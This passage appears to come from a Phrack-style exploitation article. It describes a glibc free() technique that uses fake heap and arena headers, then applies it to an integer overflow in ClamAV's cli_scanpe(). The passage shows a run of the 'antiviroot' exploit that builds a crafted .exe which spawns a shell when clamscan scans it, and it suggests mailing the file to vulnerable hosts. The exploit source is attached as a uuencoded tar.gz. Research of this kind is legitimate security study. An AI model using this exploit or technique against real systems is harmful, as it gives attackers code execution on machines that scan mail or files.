threshold. If the target program has already performed several
allocations, it is highly possible that allocations start at
0x08100000.
* An attacker must make sure that they can overflow the chunk right
next to the one under their control. For example, if the chunk from
0x080XXXXX to 0x08101000 is under control, then chunk 0x08101001-
0x0810XXXX should be overflowable (or just any chunk at 0x081XXXXX).
* A fake heap header followed by a fake arena header should be
placed at 0x08100000. Their base addresses in the VA space are
0x08100000 and 0x08100000 + sizeof(struct _heap_info) respectively.
The bins[0] field of the fake arena header should be set equal to
the return location minus 12 and the rules described in the previous
section should be followed for better results. If there's enough
room, one can also add nops and shellcode there, if not then
imagination is the only solution (the contents of the following
chunk are under the attacker's control as well).
* A heap overflow should be forced via a memcpy(), bcopy(), read()
or similar functions. The exploitation vector should be just like
the one created by the code in the previous section. Schematically,
it looks like the following figure (the pipe character indicates
the chunk boundaries).
[heap_hdr][arena_hdr][...]|[AAAA][...]|[BBBB][...]|[CCCC]
[heap_hdr] -> The fake heap header. It should be placed on an
address aligned to 1Mb e.g 0x08100000.
[arena_hdr] -> The fake arena header.
[...] -> Irrelevant data, garbage, alphas etc. If there's enough
room, one can place nops and shellcode here.
[AAAA] -> The size of the second chunk plus PREV_INUSE and
NON_MAIN_ARENA.
[BBBB] -> The size of the third chunk plus PREV_INUSE.
[CCCC] -> The size of the fourth chunk plus PREV_INUSE.
* The attacker should be patient enough to wait until the chunk
right next to the one she controls is freed. Voila!
Although this technique can be quite lethal as well as straightforward,
unfortunately it's not as generic as the heap overflows of the good
old days. That is, when applied, it can achieve immediate and
trustworthy results. However, it has a higher complexity than, for
example, common stack overflows, thus certain prerequisites should
be met before even someone attempts to deploy such an attack. More
precisely, the following conditions should be true.
* The target chunks should be larger than 64 bytes and less than
the mmap() threshold.
* An attacker must have the ability to control 4 sequential chunks
either directly allocated or fake ones constructed by them.
* An attacker must have the ability to write null bytes. That is,
one should be able to overflow the chunks via memcpy(), bcopy(),
read() or similar since strcpy() or strncpy() will not work! This
is probably the most important precondition for this technique.
---[ VIII. The ClamAV case
--[ 1. The bug
Let's use the knowledge described so far to build a working exploit
for a known application. After searching at secunia.com for heap
overflows, I came up with a list of possible targets, the most
notable one being ClamAV. The cli_scanpe() integer overflow was a
really nice idea, so, I decided to research it a bit (the related
advisory is published at [12]). The exploit code for this vulnerability,
called 'antiviroot', can be found in the 'Attachments' section in
uuencoded format.
Before attempting to audit any piece of code, the potential attacker
is advised to build ClamAV using a custom version of glibc with
debugging symbols (I also modified glibc a bit to print various
stuff). After following Chariton's ideas described at [11], one can
build ClamAV using the commands of the following snippet. It is
rather complicated but works fine. This trick is really useful if
one is about to use gdb during the exploit development.
--- snip ---
$ export LDFLAGS=-L/home/huku/test_builds/lib -L/usr/local/lib -L/usr/lib
$ export CFLAGS=-O0 -nostdinc \
> -I/usr/lib/gcc/i686-pc-linux-gnu/4.2.2/include \
> -I/home/huku/test_builds/include -I/usr/include -I/usr/local/include \
> -Wl,-z,nodeflib \
> -Wl,-rpath=/home/huku/test_builds/lib -B /home/huku/test_builds/lib \
> -Wl,--dynamic-linker=/home/huku/test_builds/lib/ld-linux.so.2
$ ./configure --prefix=/usr/local && make && make install
--- snip ---
When make has finished its job, we have to make sure everything is
ok by running ldd on clamscan and checking the paths to the shared
libraries.
--- snip ---
$ ldd /usr/local/bin/clamscan
linux-gate.so.1 => (0xb7ef4000)
libclamav.so.2 => /usr/local/lib/libclamav.so.2 (0xb7e4e000)
libpthread.so.0 => /home/huku/test_builds/lib/libpthread.so.0 (0xb7e37000)
libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7d08000)
libz.so.1 => /usr/lib/libz.so.1 (0xb7cf5000)
libbz2.so.1.0 => /usr/lib/libbz2.so.1.0 (0xb7ce5000)
libnsl.so.1 => /home/huku/test_builds/lib/libnsl.so.1 (0xb7cd0000)
/home/huku/test_builds/lib/ld-linux.so.2 (0xb7ef5000)
--- snip ---
Now let's focus on the buggy code. The actual vulnerability exists
in the preprocessing of PE (Portable Executable) files, the well
known Microsoft Windows executables. Precisely, when ClamAV attempts
to dissect the headers produced by a famous packer, called MEW, an
integer overflow occurs which later results in an exploitable
condition. Notice that this bug can be exploited using various
techniques but for demonstration purposes I'll stick to the one I
presented here. In order to have a more clear insight on how things
work, you are also advised to read the Microsoft PE/COFF specification
[13] which, surprisingly, is free for download.
Here's the vulnerable snippet, libclamav/pe.c function cli_scanpe().
I actually simplified it a bit so that the exploitable part becomes
more clear.
--- snip ---
ssize = exe_sections[i + 1].vsz;
dsize = exe_sections[i].vsz;
...
src = cli_calloc(ssize + dsize, sizeof(char));
...
bytes = read(desc, src + dsize, exe_sections[i + 1].rsz);
--- snip --
First, 'ssize' and 'dsize' get their initial values which are
controlled by the attacker. These values represent the virtual size
of two contiguous sections of the PE file being scanned (don't try
to delve into the MEW packer details since you won't find any
documentation which will be useless even if you will). The sum of
these user supplied values is used in cli_calloc() which, obviously,
is just a calloc() wrapper. This allows for an arbitrary sized heap
allocation, which can later be used in the read operation. There
are endless scenarios here, but lets see what are the potentials
of achieving code execution using the new free() exploitation
technique.
Several limitations that are imposed before the vulnerable snippet
is reached, make the exploitation process overly complex (MEW fixed
offsets, several bound checks on PE headers etc). Let's ignore them
for now since they are only interesting for those who are willing
to code an exploit of their own. What we are really interested in,
is just the core idea behind this exploit.
Since 'dsize' is added to 'src' in the read() operation, the attacker
can give 'dsize' such a value, so that when added to 'src', the
heap address of 'src' is eventually produced (via an integer
overflow). Then, read(), places all the user supplied data there,
which may contain specially crafted heap and arena headers, etc.
So schematically, the situation looks like the following figure
(assuming the 'src' pointer has a value of 0xdeadbeef):
0xdea00000 0xdeadbeef
...+----------+-----------+-...-+-------------+--------------+...
| Heap hdr | Arena hdr | | Chunk 'src' | Other chunks |
...+----------+-----------+-...-+-------------+--------------+...
So, if one manages to overwrite the whole region, from the heap
header to the 'src' chunk, then they can also overwrite the chunks
neighboring 'src' and perform the technique presented earlier. But
there are certain obstacles which can't be just ignored:
* From 0xdea00000 to 0xdeadbeef various chunks may also be present,
and overwriting this region may result in premature terminations
of the ClamAV scan process.
* 3 More chunks should be present right after the 'src' chunk and
they should be also alterable by the overflow.
* One needs the actual value of the 'src' pointer.
Fortunately, there's a solution for each of them:
* One can force ClamAV not to mess with the chunks between the heap
header and the 'src' chunk. An attacker may achieve this by following
a precise vulnerable path.
* Unfortunately, due to the heap layout during the execution of the
buggy code, there are no chunks right after 'src'. Even if there
were, one wouldn't be able to reach them due to some internal size
checks in the cli_scanpe() code. After some basic math calculations
(not presented here since they are more or less trivial), one can
prove that the only chunk they can overwrite is the chunk pointed
by 'src'. Then, cli_calloc() can be forced to allocate such a chunk,
where one can place 4 fake chunks of a size larger than 72. This
is exactly the same situation as having 4 contiguous preallocated
heap chunks! :-)
* Since the heap is, by default, not randomized, one can precalculate
the 'src' value using gdb or some custom malloc() debugger (just
like I did). This specific bug is hard to exploit when randomization
is enabled. On the contrary, the general technique presented in
this article, is immune to such security measures.
Optionally, an attacker can force ClamAV allocate the 'src' chunk
somewhere inside a heap hole created by realloc() or free(). This
allows for the placement of the target chunk some bytes closer to
the fake heap and arena headers, which, in turn, may allow for
bypassing certain bound checks. Before the vulnerable snippet is
reached, the following piece of code is executed:
--- snip ---
section_hdr = (struct pe_image_section_hdr *)cli_calloc(nsections,
sizeof(struct pe_image_section_hdr));
...
exe_sections = (struct cli_exe_section *)cli_calloc(nsections,
sizeof(struct cli_exe_section));
...
free(section_hdr);
--- snip ---
This creates a hole at the location of the 'section_hdr' chunk. By
carefully computing values for 'dsize' and 'ssize' so that their
sum equals the product of 'nsections' and 'sizeof(struct
pe_image_section_hdr)', one can make cli_calloc() reclaim the heap
hole and return it (this is what antiviroot actually does). Notice
that apart from the aforementioned condition, the value of 'dsize'
should be such, so that 'src + dsize' equals to the heap address
of 'src' (a.k.a. 'heap_for_ptr(src)').
Finally, in order to trigger the vulnerable path in malloc.c, a
free() should be issued on the 'src' chunk. This should be performed
as soon as possible, since the MEW unpacking code may mess with the
contents of the heap and eventually break things. Hopefully, the
following code can be triggered in the ClamAV source.
--- snip ---
if(buff[0x7b] == '\xe8') {
...
if(!CLI_ISCONTAINED(exe_sections[1].rva, exe_sections[1].vsz,
cli_readint32(buff + 0x7c) + fileoffset + 0x80, 4)) {
...
free(src);
}
}
--- snip ---
By planting the value 0xe8 in offset 0x7b of 'buff' and by forcing
CLI_ISCONTAINED() to fail, one can force ClamAV to call free() on
the 'src' chunk (the chunk whose header contains the NON_MAIN_ARENA
flag when the read() operation completes). A '4 bytes anywhere'
condition eventually takes place. In order to prevent ClamAV from
crashing on the next free(), one can overwrite the .got address of
free() and wait.
--[ 2. The exploit
So, here's how the exploit for this ClamAV bug looks like. For more
info on the exploit usage you can check the related README file in
the attachment. This code creates a specially crafted .exe file,
which, when passed to clamscan, spawns a shell.
--- snip ---
$ ./antiviroot -a 0x98142e0 -r 0x080541a8 -s 441
CLAMAV 0.92.x cli_scanpe() EXPLOIT / antiviroot.c
huku / huku _at_ grhack _dot_ net
[~] Using address=0x098142e0 retloc=0x080541a8 size=441 file=exploit.exe
[~] Corrected size to 480
[~] Chunk 0x098142e0 has real address 0x098142d8
[~] Chunk 0x098142e0 belongs to heap 0x09800000
[~] 0x098142d8-0x09800000 = 82648 bytes space (0.08M)
[~] Calculating ssize and dsize
[~] dsize=0xfffebd20 ssize=0x000144c0 size=480
[~] addr=0x098142e0 + dsize=0xfffebd20 = 0x09800000 (should be 0x09800000)
[~] dsize=0xfffebd20 + ssize=0x000144c0 = 480 (should be 480)
[~] Available space for exploitation 488 bytes (0.48K)
[~] Done
$ /usr/local/bin/clamscan exploit.exe
LibClamAV Warning: **************************************************
LibClamAV Warning: *** The virus database is older than 7 days. ***
LibClamAV Warning: *** Please update it IMMEDIATELY! ***
LibClamAV Warning: **************************************************
...
sh-3.2$ echo yo
yo
sh-3.2$ exit
exit
--- snip ---
A more advanced scenario would be attaching the executable file and
mailing it to a couple of vulnerable hosts and... KaBooM! Eventually,
it seems that our technique is quite lethal even for real life
scenarios. More advancements are possible, of course, they are left
as an exercise to the reader :-)
---[ IX. Epilogue
Personally, I belong with those who believe that the future of
exploitation lies somewhere in kernelspace. The various userspace
techniques are, like g463 said, more or less ephemeral. This paper
was just the result of some fun I had with the glibc malloc()
implementation, nothing more, nothing less.
Anyway, all that stuff kinda exhausted me. I wouldn't have managed
to write this article without the precious help of GM, eidimon and
Slasher (yo guys!).
Dedicated to the r00thell clique -- Wherever you are and whatever
you do, I wish you guys (and girls ;-) all the best.
---[ X. References
[01] Vudo - An object superstitiously believed to embody magical powers
Michel "MaXX" Kaempf <maxx@synnergy.net>
http://www.phrack.org/issues.html?issue=57&id=8#article
[02] Once upon a free()...
anonymous <d45a312a@author.phrack.org>
http://www.phrack.org/issues.html?issue=57&id=9#article
[03] Advanced Doug lea's malloc exploits
jp <jp@corest.com>
http://www.phrack.org/issues.html?issue=61&id=6#article
[04] w00w00 on Heap Overflows
Matt Conover & w00w00 Security Team
http://www.w00w00.org/files/articles/heaptut.txt
[05] Heap off by one
qitest1 <qitest1@bespin.org>
http://freeworld.thc.org/root/docs/exploit_writing/heap_off_by_one.txt
[06] The Malloc Maleficarum
Phantasmal Phantasmagoria <phantasmal@hush.ai>
http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
[07] JPEG COM Marker Processing Vulnerability in Netscape Browsers
Solar Designer <solar@openwall.com>
http://www.openwall.com/advisories/OW-002-netscape-jpeg/
[08] Glibc heap protection patch
Stefan Esser <stefan@suspekt.org>
http://seclists.org/focus-ids/2003/Dec/0024.html
[09] Exploiting the Wilderness
Phantasmal Phantasmagoria <phantasmal@hush.ai>
http://seclists.org/vuln-dev/2004/Feb/0025.html
[10] The use of set_head to defeat the wilderness
g463 <jean-sebastien@guay-leroux.com>
http://www.phrack.org/issues.html?issue=64&id=9#article
[11] Two (or more?) glibc installations
Chariton Karamitas <chariton.karamitas@echothrust.com>
http://blogs.echothrust.com/chariton-karamitas/two-or-more-glibc-installations
[12] ClamAV Multiple Vulnerabilities
Secunia Research
http://secunia.com/advisories/28117/
[13] Portable Executable and Common Object File Format Specification
Microsoft
http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx
XI. Attachments
begin 600 antiviroot.tar.gz
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
MS7:HMBGI3&*B+FVE)#<!O0T8&I9$&]=X1-OT]63DRY"*#H,(A0Z*[^WO
M@N#HL6%4=H;OC?]N2_?ZN4?_(^'M<]M^5M#_JF;-2NP_+9/*6;5&H[76__X-
M[#\\*93M1XGPMAC8[R4+^ZD%0YDD*;%`9J"M/D@^*,"2?7)D7X(&\QOH!9PY
MCL-]>,$\;Q]U&F]0>%R`5-C.N&*Q:"!+5@)BV:)26X6)'WF7/G!&E`/$5I&K
M'+QZ<_P]VUD_<&,(?8#64=QK]X4GGNF%RJ*.:=NP=W(SLX"I,]M8",K0AEVW
M^#\$K;J5@=PW/K*%!S+&C"$24)`M@S#IV\JO$4VC#$M-86S*DDMH0_QPOOCP
M03S&]#GX02HE`CEN$J0OH+C>APT;&Q8@"E]%,BXD;9DET3GK'G<R6W0"Z#1`
M_9ZT)%;<LT'`7@7[R@#@@$#*8*<1B"/<*OZ)F_G91%,@]+G\G)"R+:QJTDR'
MX!+--+!6<R6X5A,!5^=TF2@0!V,-9I/Z*NX%VLSW%LC-T,^F=)4KSP?)Q*KJ
M3>RNU.WF;MH""]=HWLLPDHIM0*L@O%.N:32H$*XT+%EF?34\0<%W-(D'ZJ'&
MU.3)3P":R>NM\7]M_T_$>N>!]_]FO4[^_V;5;($40/M_W:JM]_]_J_T_2QK+
M_'L^,@"8RD'@7\LP5HHE*NK>Y1"8\L3W6/5(V`Z9=>,0M>Y0DA%*.=^!O6%@
M`-DGH\DHKBA;)7X724?1!H6VE5O4<#:_WR0N^=X;!=PNO&P>;;(0`'STTJ9D
M=NOS;NMP/WN4,<4]*8TWW@C[Y+#8`KW]V:KNOML7B2"CNM#&'E#J8!2@81M@
M$X?%+Y!;H.0B=VU'6&:UOL^;.F2`E(+%BN*Y,+E-H<$]VMRG%(*TTT[K?D3P
M_7_(,"A`MTJIRR@&R0GS(W\,J(T',[DEL?&D4AT\<39**>"2:K"HR381BFC0
M"E/UI:?LGZZ'L1B.%'T9WTCIYXS`NMV9=GHV"0/1%4%QN<5(,8^-I*#LDD6/
M2E?2H)+(ALER![6E\YZV/6&/H@!@C&4(!+V2+E*2Q"@T^%$KO:1GA7GR4YZ^
MV%J)J5PB`U0J@RX0K,A(U>;A].*@!\)A@?9O-/80U@8IND%``HQOZ/:K)Y7=
MT>T\:Q=EO/45*5*(W"D6Q0B/;?KHP=BI:94[TRI!F=/RK-EL8<.8SPWS;&US
ME\M"R4+S!ZH`EI,&V^+):)(WN#V)BFE["+*4IT)^.?("+*I%PG">B5?=SFDF
MJ*JE,@\%"@G'02RD'TPNAYH%+)/-69B%3A7WITFNUE<FLK;3\5-:N@K:W']M
MW9C:JCE((YO8Q\#>@"@--IRR-D)VZ*'D%S$+S)EYT?SE8CQE?)\'ALWZB2D=
MX&3&=&W14-L]:G>%%4/X*XDK^_:^I;)X2BXVLS(-2/RE\@<V^GYLX<J1UY<A
M6>S8V2@29Z.(`G8BW`R!"3'ZR.?HDL>1P"!V%`=2*\Z=A.Q!83\EH!7)0KM.
MB8R,,%_<"-6GF]"+8\(>X"_.7"-VYFUCIR5MD2B!DVK!LT.Y\;/I4\Z6F#Y.
M<J9-KA#8]%3([+GR[Q-8@$H-0P>*C.+$K\>;!<42=/P`O12SB().9G@<W64\
M5*!38ZKKD=YU^E[6QK2<P(FUFEE`E'_#%^`)>99#-4I:RZ6LX>7\31G9&?CV
M5-/ME/'E;.N45)S']+3.Y+,`]$Q'%8=<&1';4ZA@WJCU#%Z+]^%E*B_IUQRD
M::L(MT_T<!&7F.,,R":P8']D+.J:=0>Y!@%"XP&&"G!1CLSL>Y<TR\)L?M9O
M-1.+$O^P!;6;L[1!?5)C]R7,46C0&_$L1/.$C0C*BV/%H\Y/A;K8TLPM)5&;
M%T>G]HML\CXC@!\^Z)/[69Z%K["/'*3CQI6:[6P>8@A8NN?JY'S>SE-49.0A
M!KIPMU%DZT3`$A(NE8A`?5C.)`@%[QFI@2_GH%$<#M!_R5PK1%>P/YC@OD'.
M3WLT8IYY9;,K%&@^P2D2E^`/]@\O1-_M-:B%Z&V^L>]2NO"D:>MX+.?Q2.(O
M()]+/A/51G,!:AFI;WP.KW0%I`6\#8L%F)D+X%[W5D:HG/"AMK*\P$&)Q>+L
M/OZ_HO]KH7X/&_]IM9J)_;_>,)/XSW7\_X/&_Y^_ZKY^?7#R(G\,()=JR-M8
MPKJ8#O+<3S)F(QGS,<@ZM-E0Y/7SKUW_8_DEG'_WKG_+JM6M]/Q/"[[3^9_F
M>OW_V\5_S[7YK6`K5`>&$O>A/QVZ4!%GBZ-#;=(^5>B6%Z$DHIWG07L&1KQ1
M#"M(C,,X49`YDA5T)88%`E-?HDQ%PA#K/:CUK';L0G-<)GXS\F"R_[*DW#%+
M%6.1^&S:,\=)6*3B^-:HF'E#E;L/I&%NNNAP`)\"M"VLU*Z'!8KP*'EK3!)5
M82,;V9[@RAM+A$_21E^<G"=./F5>2*,UE:=)=]+NYSU/((^&<>J4S9V:VC>6
M.%F;9E$KSTXH;FA[.EGK:I2<13CMJBXO\(4E'=*/82WHN>H0>7SS9ZZ65V@6
M4]E8$7*?.TK8?HDJ%0<<LJDS.>"F)GK@QS;,WQG+#@9;2I=`X'$WM$^P+1S?
MQFQQ32).T:!*!@P[3GVS>&0JM089R0DL)1/;`W*5#F=[5L"36(GQ+E5KE(6>
MP*!M@6,BBZF&L!@Y52)O[BS9MDA&M>C`U+Y8#K.JD6CJV)LV>;0S7KFY,S7D
MRL(A\,S)G9-;.I4MF@E3Q\_V,^7N7,6QHZ&'X[9&``;C@I5ML"(ZHWA(-DM`
M\!UI<=YH)"_18LJ1:02(`MG](%8:-6OY7FIAQ&J@=\.B_>X.C8_7GHOLKQ^0
M&JB:Y#F1ZN_`3Y2Z"1V\3DSQI.TCN/>>[X[N8%Z,[2A""[Q8M-P4+FI$(VLI
MOFK-M(PBV=0\639%$HJFP>79.0$]V@*=.*'OC.^P35`>*S%(K!LEL5M<3LKJ
M`E+>0_SE`^;%,`>J&OZT38--;OE(EARC`3V\!LG;VZGO*/'\T&AW<<!CVWU2
ML5P8L[=MJ2U@87MJ0YC"&9F=4J31,O+(`H)83^S68I.*;2(#TXW7E7MFRF[*
M/I69\5ZRF"L0PER!$.8RU(LY>(A6PT/T!_$0K8B'1/2X%QDK0F6L9%"7H$;;
MX/XRN1HG%FK@*R&P'`S%(2XW'MGJJ(VG+E[0]S*/=ZW$$\G[(!Z$N/0<X4^N
M^K#1V)&X`3F4#E'XR>;&VQH9_V=L_GH7T`?"Q$D#=]3NBMU0[#]A9;IL`\A8
MOO:55,9US%OY=#D5$*]3)X;+C+WIP\IEC`-O)-PMA^#<SIYA]R(W'&U[9G$!
MSRVP(<Z3(U<W'3KD6^T'DSB9PJH%A:/N^2&0+8DE"UD627CLK(!(`=MTX,7+
M&1/["#_.A`FU@V%X6@8[@;L)LGHP0='.H]M`YI(FC\G[,9\)S;I@UM&CI'GC
MG*@3:\!RU;152C+>=8`&U$$HT1W'>D8J#:&G)7'*5,2<K5'-%M4G\[;5YZA"
MN;NT\U#0F0X_9`6A@!XJ64!U)5%*>)"@!CQ.!CRM$5"=1`F@D:AHRT5JP729
M>4[.;/?-F5_Y?#J='4+'G!-/Z.0.!1&@H*JFCZ(Z`/)M=$HQAU5:&4R6.UU!
M*Z8NS)4.P2]2W.[5L3)NN;VJEL4]N5_1FM:?5$`F;2_F[5-3=_L0$#U0E$JI
MX_TS:R)OCM?Y,ZY+D-^O>[IVD4Q;/YFUR4Z6D@HT[<RBQVN6N.ZOP(TP\C$Y
M/=('5>0&-+$(^7%(ZOCT^7`AKX$K$U@"="E!7V%#@"9*`BZRK?8M((/_\/CX
MK@F;;KVH[4GU-#+S9>JR$I;:8G,!R03O]*S[0^_P^,UY]\,Q[&1'G</C'D4^
MZC#U@-X9V-458*\,K/:'@9VF&VN&974*CPZV>F$43\=J+Y\SL/-,'44O,[_4
MZ9*6*$T5+B[A3-J4)NZDO7]1#K4V\:YJ_SV"B8*;^$.?_S!K]1:=_S>K=;/6
MXO/_E+^V_W[QY[O#X[9VN/WDN[^<I\<Y`UB2\`_SCD"[Z2/0SYD&QL'+UYT_
MG[?+/Z)P5+Z\=/NB?%(5Y2AVV\[3IZ(\EBY6<$0Y=.]@C_<<X_4+56ET91A0
M;T]\4\#&B\8CQTF^PZ<J5Q3E`-Z@MT6#3QSO&8_"*U$>A%IAS!9V!679K8J#
M;'"+SJ2NN<"GQ'\/'WC]U^OU:NK_J34LCO]NU-;K_R']O^H,><[[JZ6EB;D(
M3#Q_LIO/.NK\Q%D%C%,66Q2NK%VEE0N@I1=UE];L\95BDE\650"41#!CT"*H
M.!G(7&`L_,T%6.2</XE_%G+]+%L(BO68BTR!Z>%U!^$$Y&".H5%F"0J?03O&
M(%"V>0HZP4ATQY%1-)B,.(XN58(JXK6D^P/".U0J,0M`J0-99%U"*:M`T9G%
MO867:\R/JR9].VLPO;$"_5W:'1?9]7H<JJ0"!+,HU.0>%Z'%#/IYNQ5VE>+A
M<EW-Q4)^IM[2Q0[SHL/3UCB:W`TR$[4>+4[7:XAYUVLD043%2)DTIIR)4[8Z
M#&VC*%0?21>,`.:8;'O02;K_(;U0`W$S2JQ+446=K,)C73EL3=UU41$_DK*$
MMY"@S*O".ZF,&BK.XS28-YY%>*;2*</.M&*'>",-&!<2S[?$:ES@ZVY4WY2E
M#>-0DP(X<UBS5T::TRY[+"@H,*/7'#N)P@9&\+*RD_47I/10W0Q12:/;\WU9
M2/C%TRP!E$VT94<PV7>"+BW4H%S=7(9=2K6A?+<^Z>!#@G1J?-ELGJ-UYZ(U
M<2X%P56Z5I>>+#U<$!!.SC^Z#<89!9%,++4$AD]D4"S@C<1ULQDK
HZ)VWTR"
M&A5NRB&H&7I^^-U1[14]!#KGP%H0_ZQQ1UQVR\^=%/*1\&D</#3;<5V/78!D
MD(A3PR7`G@[`3NX'HMN-)W2QB1Y[KIF?XT]EBJ69P'**%-`C<^&+NJ^*#[W$
M=R!0PY[-&]2\4'UEX\^G<NCY="KSJ5PZ>SYU-_;LV9G9U,SL--.=^?U1CIZ/
MV9:[;ZQ\,FM_Q:,_^ZN<=LA'J652S_]`C-K,_0]?X`KH>^__M/C^]V:CU3)K
MZOZ'5G,M_S^D_,_615WZ3U,6WP*M63/3ZRR3^MI)`/7LFE3IU;R]:[9^_DPZ
MUB=E@^ZAH!;IQH!<E<QNFC1II7F'Y[VCH\[I:?=%DE=-\_+68,RK&ZM?:K'_
M:9<YY)E-@F0<QK]X_6<!@`^\_AO5Y/<?(-VD^]_KU9:U7O\/N?[_?/RF=W[R
MYNR@FW$`/8VFK,8*GD6QZP65X?-\TLCK3Z?A>;NIM+MH!X68:#8Y"D!4BN>D
M@S:=3_5!EH8_F+;Y](D/HH";3\/3+OF4@>/'HWP2=/U2$C`CP<I1YZ?L/O+.
M3P6[U"^*0L'&D]H%^/I_`K_OX?>B2''T'[K_ZW<'/N3Z;S2;VOIG^W^]V5K;
M__X=XK_G!GI/WP"1NR3J%&TLJ8UG$MF7O*]?!Y[+KVI_M,/+ZYQ_'A-035"N
M><K77'Z81670>VE'$H,%"E1HX5',)]',];EO?3P&QH#F'MOGFOD[=M_&J]VQ
M"Z#3ZMI=NU!]I;MV]>K:G;NJ^KUW[NK5M;MWH?H*=^\27HJ+C_>N>C-OV@G$
